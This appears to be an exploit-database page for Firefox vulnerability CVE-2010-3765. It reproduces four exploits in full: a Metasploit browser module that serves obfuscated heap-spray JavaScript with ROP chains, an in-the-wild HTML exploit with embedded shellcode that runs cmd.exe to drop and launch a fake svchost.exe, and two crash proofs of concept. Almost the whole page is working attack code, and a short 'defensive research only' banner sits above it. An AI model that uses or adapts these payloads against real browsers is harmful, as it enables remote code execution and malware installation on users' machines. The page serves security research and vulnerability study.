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Materialized exploit

CVE-2010-3765

CRITICAL KEV

4 public exploit(s) for this CVE, 4 materialized with their code.

CVE page All exploits
For defensive research only. Only test on systems you own or have written authorization for. Unauthorized access is illegal.
ExploitDB remote windows Verified
Source

Mozilla Firefox - Interleaving 'document.write' / 'appendChild' (Metasploit)

By Metasploit

How to test this exploit

Remote exploit. Target an isolated vulnerable instance (VM/lab), never a production system.

ruby 16509.rb

Code rb 

##
# $Id: mozilla_interleaved_write.rb 11796 2011-02-22 20:49:44Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	#
	# This module acts as an HTTP server
	#
	include Msf::Exploit::Remote::HttpServer::HTML

	include Msf::Exploit::Remote::BrowserAutopwn
	autopwn_info({
		:ua_name => HttpClients::FF,
		:ua_minver => "3.6.8",
		:ua_maxver => "3.6.11",
		:os_name => OperatingSystems::WINDOWS,
		:javascript => true,
		:rank => NormalRanking,
		:vuln_test => "if (typeof InstallVersion != 'undefined') { is_vuln = true; }",
	})

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Mozilla Firefox Interleaving document.write and appendChild Exploit',
			'Description'    => %q{
					This module exploits a code execution vulnerability in Mozilla
				Firefox caused by interleaved calls to document.write and appendChild.
				This exploit is a metasploit port of the in-the-wild exploit.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'unknown',        # discovered in the wild
					'scriptjunkie'    # Metasploit module, functionality/portability fixes
				],
			'Version'        => '$Revision: 11796 $',
			'References'     =>
				[
					['CVE',    '2010-3765'],
					['OSVDB',  '68905'],
					['BID',    '15352'],
					['URL',    'http://www.exploit-db.com/exploits/15352/'],
					['URL',    'https://bugzilla.mozilla.org/show_bug.cgi?id=607222'],
					['URL',    'http://www.mozilla.org/security/announce/2010/mfsa2010-73.html']
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
					'InitialAutoRunScript' => 'migrate -f',
				},
			'Payload'        =>
				{
					'Space'    => 1024,
					'BadChars' => "",
				},
			'Targets'        =>
				[
					# Tested against Firefox 3.6.8, 3.6.9, 3.6.10, and 3.6.11 on WinXP and Windows Server 2003
					[ 'Firefox 3.6.8 - 3.6.11, Windows XP/Windows Server 2003',
						{
							'Platform' => 'win',
							'Arch' => ARCH_X86,
						}
					],
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Oct 25 2010'
			))
	end

	def on_request_uri(cli, request)

		# Re-generate the payload
		return if ((p = regenerate_payload(cli)) == nil)

		print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
		send_response_html(cli, generate_html(p), { 'Content-Type' => 'text/html' })

		# Handle the payload
		handler(cli)
	end

	def generate_html(payload)
		enc_code = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

		custom_js = %Q|
function check(){
	var temp="";
	var user=navigator.userAgent.toLowerCase();
	var vara=user.indexOf("windows nt 6.1");
	var varb=user.indexOf("windows nt 6.0");
	var varc=user.indexOf("firefox/3.6.8");
	var vard=user.indexOf("firefox/3.6.9");
	var vare=user.indexOf("firefox/3.6.10");
	var varf=user.indexOf("firefox/3.6.11");
	if(vara==-1&&varb==-1&&varc!=-1&&vard==-1&&vare==-1&&varf==-1){
		temp="8";
	}
	else if(vara==-1&&varb==-1&&varc==-1&&vard!=-1&&vare==-1&&varf==-1){
		temp="9";
	}
	else if(vara==-1&&varb==-1&&varc==-1&&vard==-1&&vare!=-1&&varf==-1){
		temp="10";
	}
	else if(vara==-1&&varb==-1&&varc==-1&&vard==-1&&vare==-1&&varf!=-1){
		temp="11";
	}
	else {
		return temp="0";
	}
	return temp;

}
function dedede(argsu){
	var i;var sunb = "";
	for (i = 0; i < argsu.length; i++){
		sunb += String.fromCharCode(parseInt(argsu[i], 16));
		}
	return unescape(sunb);
}
function code(beastk){
	var nop = "";
	var len = beastk.length;
	for (i = 0; i < len;) {
		nop = nop + "m" + beastk.substring(i, i + 5);
		i = i + 5;
	}
	nop = nop.split("m").toString();
	var temp = new Array();
	for (j = 0; j < nop.length; j++) {
		if (nop.charCodeAt(j).toString(16) == "2c") {
			temp.push("25");
		}
		else {
			temp.push(nop.charCodeAt(j).toString(16));
		}
	}
	return dedede(temp);
}
function getatts(str){
	var cobj=document.createElement(str);
	cobj.id="testcase";
	document.body.appendChild(cobj);
	var obj=document.getElementById("testcase");
	var atts = new Array();
	for(p in obj){
		if(typeof(obj[p])=="string"){
			atts.push(p);
		}
	}
	document.body.removeChild(cobj);
	return atts;
}
var chk=check();
var bk="mp.ojsyex5";
var array = new Array();
var ls = 0x100000-(bk.length*2+0x01020);
var retaddr ="";//////////////////////111111111111111111111111111111
if (chk == "0") {
	location.href = "about:blank";
}
else {

		if(chk=="8"){
			retaddr=code("u0d0du0d0d");
			}
		if(chk=="9"){
			retaddr=code("uef52u100a");
			}
		if(chk=="10"){
			retaddr=code("ub8b7u1029");
			}
		if(chk=="11"){
			retaddr=code("u4bc8u1000");
		}

	var ropstr = retaddr;
	while (ropstr.length < (0x85750 - 0x1000) / 2) {
		ropstr += retaddr
	};

	///////////////////////////////2222222222222222222
	var sunb="";
	var sun8inner = document.getElementById("sun8").innerHTML;
	var sun9inner = document.getElementById("sun9").innerHTML;
	var sun10inner = document.getElementById("sun10").innerHTML;
	var sun11inner = document.getElementById("sun11").innerHTML;
	var shellcodes = document.getElementById("suv").innerHTML;
	if(chk=="8"){
			sunb=sun8inner;
			}
	if(chk=="9"){
			sunb=sun9inner;
			}
	if(chk=="10"){
			sunb=sun10inner;
			}
	if(chk=="11"){
			sunb=sun11inner;
			}
	ropstr += code(sunb + shellcodes);
	for (u = 0; u < 8; u++) {
		retaddr += retaddr;
	}
	while (ropstr.length < ls) {
		ropstr += retaddr;
	}
	var lefthalf = ropstr.substring(0, ls / 2);
	ropstr = "";
	for (i = 0; i < 0x200; i++) {
		array[i] = lefthalf + bk;
	}
	////////////////////////////////////333333333333
	if(chk=="8"){
		retaddr=code("ub8a7u1029");
	}
	if(chk=="9"){
		retaddr=code("uab07u1006");
	}
	if(chk=="10"){
		retaddr=code("u8247u1009");
	}
	if(chk=="11"){
		retaddr=code("uf7e7u1017");
	}
	for (i = 0; i < 16; i++) {
		retaddr += retaddr;
	}
	ropstr = retaddr;
	while (ropstr.length < ls) {
		ropstr += retaddr;
	}
	lefthalf = ropstr.substring(0, ls / 2);
	ropstr = "";
	for (i = 0x200; i < 0x500; i++) {
		array[i] = lefthalf + bk;
	}

	var tags = new Array("audio", "a", "base");
	for (inx = 0; inx < 0x8964; inx++)
		for (i = 0; i < tags.length; i++) {
			var atts = getatts(tags[i]);
			for (j = 0; j < atts.length; j++) {
				var html = "<" + tags[i] + " " + atts[j] + "=a></" + tags[i] + ">" + tags[i];
				document.write(html);
			}
		}
}
		|
			opts = {
				'Symbols' => {
					'Variables' => %w{ atts temp vara varb varc vard vare varf argsu beastk nop tags retaddr
						ropstr lefthalf bk sunb shellcodes sun8inner sun9inner sun10inner sun11inner array chk },
					'Methods'   => %w{ getatts code check dedede }
				}
			}
			custom_js = ::Rex::Exploitation::ObfuscateJS.new(custom_js, opts).obfuscate()
		return %Q|
<html>
<body>
<div style="visibility:hidden;width:0px;height:0px">
<div id=sun8>ub8acu1029u0d00u0d0du0d00u102du1000u0d00u102du1000u8710u1018ub288u1086u127cu1004udc24u1009u102du1000u0000u0000u1000u0000u1000u0000u0040u0000u1af1u1000u9090u0febu7be4u1005u2a49u1000u2a49u1000u2a49u1000u2a49u1000u1af1u1000u5b58u1889u7be4u1005u2a49u1000u2a49u1000u2a49u1000u2a49u1000u1af1u1000ufb83u74ffu7be4u1005u2a49u1000u2a49u1000u2a49u1000u2a49u1000u1af1u1000u830bu04c0u7be4u1005u2a49u1000u2a49u1000u2a49u1000u2a49u1000u1af1u1000uf3ebue890u7be4u1005u2a49u1000u2a49u1000u2a49u1000u2a49u1000u1af1u1000uffecuffffu7be4u1005u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004udc24u1009</div>
<div id=sun9>u2794u1000uc288u1082u3e38u1000u6cd4u100bu1016u1000u0000u0000u1000u0000u1000u0000u0040u0000uce22u1003u9090u0FEBu9602u1001uc563u1000uc563u1000uc563u1000uc563u1000uce22u1003u5B58u1889u9602u1001uc563u1000uc563u1000uc563u1000uc563u1000uce22u1003uFB83u74FFu9602u1001uc563u1000uc563u1000uc563u1000uc563u1000uce22u1003u830Bu04C0u9602u1001uc563u1000uc563u1000uc563u1000uc563u1000uce22u1003uF3EBuE890u9602u1001uc563u1000uc563u1000uc563u1000uc563u1000uce22u1003uFFECuFFFFu9602u1001u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u6cd4u100b</div>
<div id=sun10>uB8B7u1029uB8B7u1029uB8B7u1029uB8B7u1029uB8B7u1029uB8B7u1029u20F0u1011u2288u1082u428au1000u7676u1016ub8b7u1029u0000u0000u1000u0000u1000u0000u0040u0000u9405u1003u9090u0FEBuE541u1001u0583u1001u0583u1001u0583u1001u0583u1001u9405u1003u5B58u1889uE541u1001u0583u1001u0583u1001u0583u1001u0583u1001u9405u1003uFB83u74FFuE541u1001u0583u1001u0583u1001u0583u1001u0583u1001u9405u1003u830Bu04C0uE541u1001u0583u1001u0583u1001u0583u1001u0583u1001u9405u1003uF3EBuE890uE541u1001u0583u1001u0583u1001u0583u1001u0583u1001u9405u1003uFFECuFFFFuE541u1001u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u7676u1016</div>
<div id=sun11>u4bc8u1000u4bc8u1000u4bc8u1000u4bc8u1000u4bc8u1000u4bc8u1000u83cau1000u0280u1083u3b5au1000u8ef4u100au4bc8u1000u0000u0000u1000u0000u1000u0000u0040u0000u11a1u1000u9090u0FEBu3500u1007u25dfu1000u25dfu1000u25dfu1000u25dfu1000u11a1u1000u5B58u1889u3500u1007u25dfu1000u25dfu1000u25dfu1000u25dfu1000u11a1u1000uFB83u74FFu3500u1007u25dfu1000u25dfu1000u25dfu1000u25dfu1000u11a1u1000u830Bu04C0u3500u1007u25dfu1000u25dfu1000u25dfu1000u25dfu1000u11a1u1000uF3EBuE890u3500u1007u25dfu1000u25dfu1000u25dfu1000u25dfu1000u11a1u1000uFFECuFFFFu3500u1007u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u8ef4u100a</div>
<div id=suv>#{enc_code.split("%").join}uffffuffffuffffuffff</div>
</div>
<body>
<script type="text/javascript">
#{custom_js}
</script></body></html>
		|

	end

end
ExploitDB remote windows Verified
Source

Mozilla Firefox 3.6.8 < 3.6.11 - Interleaving 'document.write' / 'appendChild' Remote Overflow

By anonymous

How to test this exploit

Remote exploit. Target an isolated vulnerable instance (VM/lab), never a production system.

Code html 

<!--

WARNING! This is exploit code from the wild.  The original first 2 unicode chars at 'id=sun8' were ub8acu1029. Use, as always, at your own risk.

<body>
<div style="visibility:hidden;width:0px;height:0px">
<div id=sun8>uccccuccccu0d00u0d0du0d00u102du1000u0d00u102du1000u102du1000u2853u1000u0011u0000u116cu1000u0300u7ffeub459u1002u6b99u1000ub333udeaduffffuffffu57a8u13e8u0000u0000u57a0u13e8u1000u0000u0040u0000u2853u1000u0001u0000u2853u1000u0000u0000u1af1u1000u9090u0febu7be4u1005u2a49u1000u2a49u1000u2a49u1000u2a49u1000u1af1u1000u5b58u1889u7be4u1005u2a49u1000u2a49u1000u2a49u1000u2a49u1000u1af1u1000ufb83u74ffu7be4u1005u2a49u1000u2a49u1000u2a49u1000u2a49u1000u1af1u1000u830bu04c0u7be4u1005u2a49u1000u2a49u1000u2a49u1000u2a49u1000u1af1u1000uf3ebue890u7be4u1005u2a49u1000u2a49u1000u2a49u1000u2a49u1000u1af1u1000uffecuffffu7be4u1005u1af1u1000u57a8u13e8u116cu1000u57a8u13e8ub459u1002</div>
<div id=sun9>uef52u100auef52u100auef52u100auef52u100auef52u100auef52u100auef51u100au0011u0000u5500u1001u0300u7FFEud761u1004uff9cu1007uB333uDEADuFFFFuFFFFu57A8u0d78u0000u0000u57A0u0d78u1000u0000u0040u0000uef51u100au0001u0000uef51u100au0000u0000uce22u1003u9090u0FEBu9602u1001uc563u1000uc563u1000uc563u1000uc563u1000uce22u1003u5B58u1889u9602u1001uc563u1000uc563u1000uc563u1000uc563u1000uce22u1003uFB83u74FFu9602u1001uc563u1000uc563u1000uc563u1000uc563u1000uce22u1003u830Bu04C0u9602u1001uc563u1000uc563u1000uc563u1000uc563u1000uce22u1003uF3EBuE890u9602u1001uc563u1000uc563u1000uc563u1000uc563u1000uce22u1003uFFECuFFFFu9602u1001uce22u1003u57A8u0d78u5500u1001u57A8u0d78ud761u1004</div>
<div id=sun10>uB8B7u1029uB8B7u1029uB8B7u1029uB8B7u1029uB8B7u1029uB8B7u1029u20F0u1011u0011u0000u1FC7u1052u0300u7FFEuFD6Du1001uA173u1007uB333uDEADuFFFFuFFFFu57A8u0d78u0000u0000u57A0u0d78u1000u0000u0040u0000u20F0u1011u0001u0000u20F0u1011u0000u0000u9405u1003u9090u0FEBuE541u1001u0583u1001u0583u1001u0583u1001u0583u1001u9405u1003u5B58u1889uE541u1001u0583u1001u0583u1001u0583u1001u0583u1001u9405u1003uFB83u74FFuE541u1001u0583u1001u0583u1001u0583u1001u0583u1001u9405u1003u830Bu04C0uE541u1001u0583u1001u0583u1001u0583u1001u0583u1001u9405u1003uF3EBuE890uE541u1001u0583u1001u0583u1001u0583u1001u0583u1001u9405u1003uFFECuFFFFuE541u1001u9405u1003u57A8u0d78u1FC7u1052u57A8u0d78uFD6Du1001</div>
<div id=sun11>u4bc8u1000u4bc8u1000u4bc8u1000u4bc8u1000u4bc8u1000u4bc8u1000u4bc7u1000u0011u0000u827fu1000u0300u7FFEucda3u1000u6689u1000uB333uDEADuFFFFuFFFFu57A8u0d78u0000u0000u57A0u0d78u1000u0000u0040u0000u4bc7u1000u0001u0000u4bc7u1000u0000u0000u11a1u1000u9090u0FEBu3500u1007u25dfu1000u25dfu1000u25dfu1000u25dfu1000u11a1u1000u5B58u1889u3500u1007u25dfu1000u25dfu1000u25dfu1000u25dfu1000u11a1u1000uFB83u74FFu3500u1007u25dfu1000u25dfu1000u25dfu1000u25dfu1000u11a1u1000u830Bu04C0u3500u1007u25dfu1000u25dfu1000u25dfu1000u25dfu1000u11a1u1000uF3EBuE890u3500u1007u25dfu1000u25dfu1000u25dfu1000u25dfu1000u11a1u1000uFFECuFFFFu3500u1007u11a1u1000u57A8u0d78u827fu1000u57A8u0d78ucda3u1000</div>
<div id=suv>uEC81u0120u0000uFC8BuC783uC704u3207u9174uC70Cu0447u138EuAC0Au47C7u3908u7DE2uC783u0C47u65A0uCB97u47C7u9310uE432uC794u1447uD550uCB9Bu47C7u4318uACBEuC7DBu1C47u36B2u130Fu47C7uC420u1F8DuC774u2447u2F51u01A2u47C7u5728u0D66uC7FFu2C47u879BuE58Bu47C7uED30uFFAFuC7B4u3447u19C2u014Bu47C7u7D38uA5F0uC79Au3C47u2BE4uC594u47C7uEC40u5F9DuC7A4u4447uD680u9AAFu8DE9u0000u3300u64C0u30A1u0000u8B00u0C40u408Bu8B14u8B00u8B00u1040uE88BuF78Bu116AuE859u0027u0000uF9E2u6DEBu8B5Bu6AEEu5300u55FFu6424u00A1u0000uC700u0440u0000u0000u00C7u0000u0000u00B8u0000uFF00u51E0u8B56u3C75u748Bu782EuF503u8B56u2076uF503uC933u4149u03ADu33C5u0FDBu10BEuD63Au0874uCBC1u0307u40DAuF1EBu1F3BuE775u8B5Eu245EuDD03u8B66u4B0Cu5E8Bu031Cu8BDDu8B04uC503u5EABuC359u6EE8uFFFFuE8FFuFF8EuFFFFu6D63u2E64u7865u2065u632Fu4620u524Fu2F20u2052u2522u5355u5245u5250u464Fu4C49u2545u4C5Cu636Fu6C61u5320u7465u6974u676Eu5C73u7041u6C70u6369u7461u6F69u206Eu6144u6174u4D5Cu7A6Fu6C69u616Cu465Cu7269u6665u786Fu505Cu6F72u6966u656Cu5C73u2022u6925u4920u204Eu2A28u2029u4F44u6920u2066u7E25u697Au6520u7571u2020u3834u3436u2030u6320u646Du652Eu6578u2F20u2063u6F63u7970u2220u6925u2022u2220u7425u6D65u2570u735Cu7663u6F68u7473u652Eu6578u2022u792Fu2620u2220u7425u6D65u2570u735Cu7663u6F68u7473u652Eu6578u0022uffffuffffuffffuffff</div>
</div>
<body>
<script src=scvhost.txt></script>
<script type="text/javascript">
function check(){
	var temp="";
	var user=navigator.userAgent.toLowerCase();
	var a=user.indexOf("windows nt 6.1");
	var b=user.indexOf("windows nt 6.0");
	var c=user.indexOf("firefox/3.6.8");
	var d=user.indexOf("firefox/3.6.9");
	var e=user.indexOf("firefox/3.6.10");
	var f=user.indexOf("firefox/3.6.11");
	if(a==-1&&b==-1&&c!=-1&&d==-1&&e==-1&&f==-1){
		temp="8";
	}
	else if(a==-1&&b==-1&&c==-1&&d!=-1&&e==-1&&f==-1){
		temp="9";
	}
	else if(a==-1&&b==-1&&c==-1&&d==-1&&e!=-1&&f==-1){
		temp="10";
	}
	else if(a==-1&&b==-1&&c==-1&&d==-1&&e==-1&&f!=-1){
		temp="11";
	}
	else {
		return temp="0";
	}
	return temp;

}
function de(su){
	var i;var sun = "";
	for (i = 0; i < su.length; i++){
		sun += String.fromCharCode(parseInt(su[i], 16));
		}
	return unescape(sun);
}
function code(beastk){
	var nop = "";
	var len = beastk.length;
	for (i = 0; i < len;) {
		nop = nop + "m" + beastk.substring(i, i + 5);
		i = i + 5;
	}
	nop = nop.split("m").toString();
	var temp = new Array();
	for (j = 0; j < nop.length; j++) {
		if (nop.charCodeAt(j).toString(16) == "2c") {
			temp.push("25");
		}
		else {
			temp.push(nop.charCodeAt(j).toString(16));
		}
	}
	return de(temp);
}
function getatts(str){
	var cobj=document.createElement(str);
	cobj.id="testcase";
	document.body.appendChild(cobj);
	var obj=document.getElementById("testcase");
	var atts = new Array();
	for(p in obj){
		if(typeof(obj[p])=="string"){
		  atts.push(p);
		}
	}
	document.body.removeChild(cobj);
	return atts;
}
var ck=check();
var bk="mp.ojsyex5";
var array = new Array();
var ls = 0x100000-(bk.length*2+0x01020);
var b1 ="";//////////////////////111111111111111111111111111111
if (ck == "0") {
	location.href = "about:blank";
}
else {

		if(ck=="8"){
			b1=code("u0d0du0d0d");
			}
		if(ck=="9"){
			b1=code("uef52u100a");
			}
		if(ck=="10"){
			b1=code("ub8b7u1029");
			}
		if(ck=="11"){
			b1=code("u4bc8u1000");
		}

	var b = b1;
	while (b.length < (0x85750 - 0x1000) / 2) {
		b += b1
	};

	///////////////////////////////2222222222222222222
	var sun="";
	var sun8 = document.getElementById("sun8").innerHTML;
	var sun9 = document.getElementById("sun9").innerHTML;
	var sun10 = document.getElementById("sun10").innerHTML;
	var sun11 = document.getElementById("sun11").innerHTML;
	var suv = document.getElementById("suv").innerHTML;
	if(ck=="8"){
			sun=sun8;
			}
	if(ck=="9"){
			sun=sun9;
			}
	if(ck=="10"){
			sun=sun10;
			}
	if(ck=="11"){
			sun=sun11;
			}
	b += code(sun + suv);
	for (u = 0; u < 8; u++) {
		b1 += b1;
	}
	while (b.length < ls) {
		b += b1;
	}
	var lh = b.substring(0, ls / 2);
	b = "";
	for (i = 0; i < 0x200; i++) {
		array[i] = lh + bk;
	}
	////////////////////////////////////333333333333
	if(ck=="8"){
		b1=code("ub8a7u1029");
	}
	if(ck=="9"){
		b1=code("uab07u1006");
	}
	if(ck=="10"){
		b1=code("u8247u1009");
	}
	if(ck=="11"){
		b1=code("uf7e7u1017");
	}
	for (i = 0; i < 16; i++) {
		b1 += b1;
	}
	b = b1;
	while (b.length < ls) {
		b += b1;
	}
	lh = b.substring(0, ls / 2);
	b = "";
	for (i = 0x200; i < 0x500; i++) {
		array[i] = lh + bk;
	}

	var tags = new Array("audio", "a", "base");
	for (inx = 0; inx < 0x8964; inx++)
		for (i = 0; i < tags.length; i++) {
			var atts = getatts(tags[i]);
			for (j = 0; j < atts.length; j++) {
				var html = "<" + tags[i] + " " + atts[j] + "=a></" + tags[i] + ">" + tags[i];
				document.write(html);
			}
		}
}
</script>-->
ExploitDB dos multiple Verified
Source

Mozilla Firefox - Interleaving 'document.write' / 'appendChild' Denial of Service

By Daniel Veditz

How to test this exploit

Denial of service: sends malformed input to crash the service. Test in an isolated VM, the effect is destructive.

Code html 

Source: https://bugzilla.mozilla.org/show_bug.cgi?id=607222
<html><body>
 <script>
  function getatts(str){
    var cobj=document.createElement(str);
    cobj.id="testcase";
    document.body.appendChild(cobj);
    var obj=document.getElementById("testcase");
    var atts = new Array();
    for(p in obj){
      if(typeof(obj[p])=="string"){
        atts.push(p);
      }
    }
    document.body.removeChild(cobj);
    return atts;
  }

  function crashme() {
    var tags = new Array("audio", "a", "base");
    for (inx = 0; inx < 0x8964; inx++) {
        for (i = 0; i < tags.length; i++) {
            var atts = getatts(tags[i]);
            for (j = 0; j < atts.length; j++) {
                var html = "<" + tags[i] + " " + atts[j] + "=a></" + tags[i] +
                           ">" + tags[i];
                document.write(html);
            }
        }
    }
  }
</script>
<button onclick="crashme();">Crash Me!</button>
</body></html>
ExploitDB dos multiple Verified
Source

Mozilla Firefox - Simplified Memory Corruption (PoC)

By extraexploit

How to test this exploit

Denial of service: sends malformed input to crash the service. Test in an isolated VM, the effect is destructive.

Code html 

Hi there,

For those who still do not know .. The proof of concept (that I have
extracted) for CVE-2010-3765 is the following:

<html><body>
<script>

  function G(str){
    var cobj=document.createElement(str);
    document.body.appendChild(cobj);
    cobj.scrollWidth;
  }

  function crashme() {
    document.write("fooFOO");
    G("a");
    document.write("<a lang></a>a");
    G("base");
    document.write("barBAR");
    G("audio");
  }
</script>
<script>crashme();</script>
</body>
</html>

For more details:
http://extraexploit.blogspot.com/2010/10/cve-2010-3765-proof-of-concept.html
--
http://extraexploit.blogspot.com